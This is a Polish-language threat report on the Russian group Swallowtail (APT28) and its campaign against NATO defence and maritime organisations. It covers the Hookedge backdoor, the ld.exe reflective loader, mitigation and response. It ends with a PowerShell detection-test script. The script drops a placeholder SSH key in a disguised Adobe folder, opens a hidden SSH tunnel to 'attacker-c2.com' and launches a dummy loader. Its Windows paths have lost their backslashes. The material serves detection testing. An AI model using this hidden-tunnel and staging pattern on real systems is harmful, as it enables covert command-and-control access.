Rosyjska grupa Swallowtail wymierzona w firmy sektora obronnego NATO

Podsumowanie

Rosyjska grupa szpiegowska Swallowtail, znana również jako APT28, przeprowadziła wielomiesięczną inwazję, wymierzoną w organizacje obrony, morskie i egzekwujące prawo w krajach członkowskich NATO. Atakujący wdrożyli backdoor Hookedge oraz nieudokumentowany loader refleksyjny o nazwie ld.exe w celu utrzymania dostępu i wykonywania ładunków w pamięci. Kampania obejmowała również zaawansowane techniki, takie jak tunele SSH dla utrzymywania sieciowego dostępu oraz kradzież poświadczeń NTLM opartą na PowerShell.

Śledztwo

Zespół Threat Hunter firmy Symantec ustalił, że początkowa infekcja wynikała z dokumentów Word z włączonymi makrami, które były dostarczane przez Outlook. Analitycy zidentyfikowali mechanizm dostarczania i oddzwaniania, korzystający z webhook.site i ukrytego wystąpienia Microsoft Edge do pobierania zadań. Atakujący wykazali również aktywność „hands-on-keyboard”, przeprowadzając rekonesans, posiadając sieć wewnętrzną, przemieszczając się lateralnie oraz zbierając poświadczenia w zainfekowanych środowiskach.

Zabezpieczenie

Organizacje powinny priorytetowo blokować znane złośliwe endpointy webhook.site i monitorować anomalne zachowanie Microsoft Edge, w tym okna przeglądarki o pojedynczym pikselu lub poza ekranem. Należy wymusić ścisłe filtrowanie wypływające w celu zapobieżenia nieautoryzowanym połączeniom SSH, natomiast zespoły ds. bezpieczeństwa powinny monitorować podejrzaną aktywność nasłuchu PowerShell. Ochrona punktów końcowych powinna również wykrywać ładowanie refleksyjne oraz nieautoryzowane próby dostępu do poświadczeń.

Odpowiedź

Jeśli wykryta zostanie aktywność związana z Hookedge, reagenci powinni natychmiast odizolować zainfekowane systemy, aby zakłócić aktywne tunele SSH i komunikacje C2. Przeprowadzić szczegółowe badanie kryminalistyczne w celu zidentyfikowania nieudokumentowanych plików, takich jak ld.exe i sprawdzić zadania harmonogramowe pod kątem mechanizmów utrzymania się. Wykonać kompleksowe wyzerowanie poświadczeń dla kont potencjalnie narażonych podczas kradzieży poświadczeń NTLM lub kompromitacji kluczy SSH.

Symulacja wykonania

• Narracja ataku i komendy: Przeciwnik zamierza ustanowić trwały, zaszyfrowany tunel do swojej infrastruktury Command and Control (C2). Podrzucił skradziony klucz prywatny SSH do C:ProgramDataAdobeid_rsa aby wtopić się w metadane legalnego oprogramowania. Następnie próbuje uruchomić tunel używając ssh.exe. Po ustanowieniu tunelu, próbuje załadować złośliwy ładunek do pamięci przy użyciu niestandardowego loadera refleksyjnego o nazwie ld.exe. Działania te mają na celu obejście tradycyjnych obron obwodowych poprzez używanie legalnych narzędzi (ssh.exe) i wykonanie w pamięci (ld.exe).

• Skrypt testu regresji:

  # 1. Symulacja tunelowania SSH Swallowtail
  $dir = "C:ProgramDataAdobe"
  if (!(Test-Path $dir)) { New-Item -ItemType Directory -Path $dir -Force }
  $keyPath = "$dirid_rsa"
  "MIIEpAIBAAKCAQEA75..." | Out-File -FilePath $keyPath -Encoding ascii
  
  # Wyzwalanie detekcji SSH przez dokładne dopasowanie linii komend
  Start-Process "C:WindowsSystem32OpenSSHssh.exe" -ArgumentList "-i $keyPath user@attacker-c2.com" -WindowStyle Hidden
  
  # 2. Symulacja wykonania loadera refleksyjnego
  # Tworzenie fikcyjnego ld.exe do generowania telemetrii
  $dummyLoader = "C:WindowsTempld.exe"
  New-Item -ItemType File -Path $dummyLoader -Force
  # Uwaga: w rzeczywistej sytuacji byłby to plik binarny; tutaj symulujemy zdarzenie tworzenia procesu
  Start-Process $dummyLoader -ArgumentList "payload.enc" -WindowStyle Hidden

• Polecenia czyszczenia:

  # Usuwanie symulowanych złośliwych plików i katalogów
  Remove-Item -Path "C:ProgramDataAdobe" -Recurse -Force -ErrorAction SilentlyContinue
  Remove-Item -Path "C:WindowsTempld.exe" -Force -ErrorAction SilentlyContinue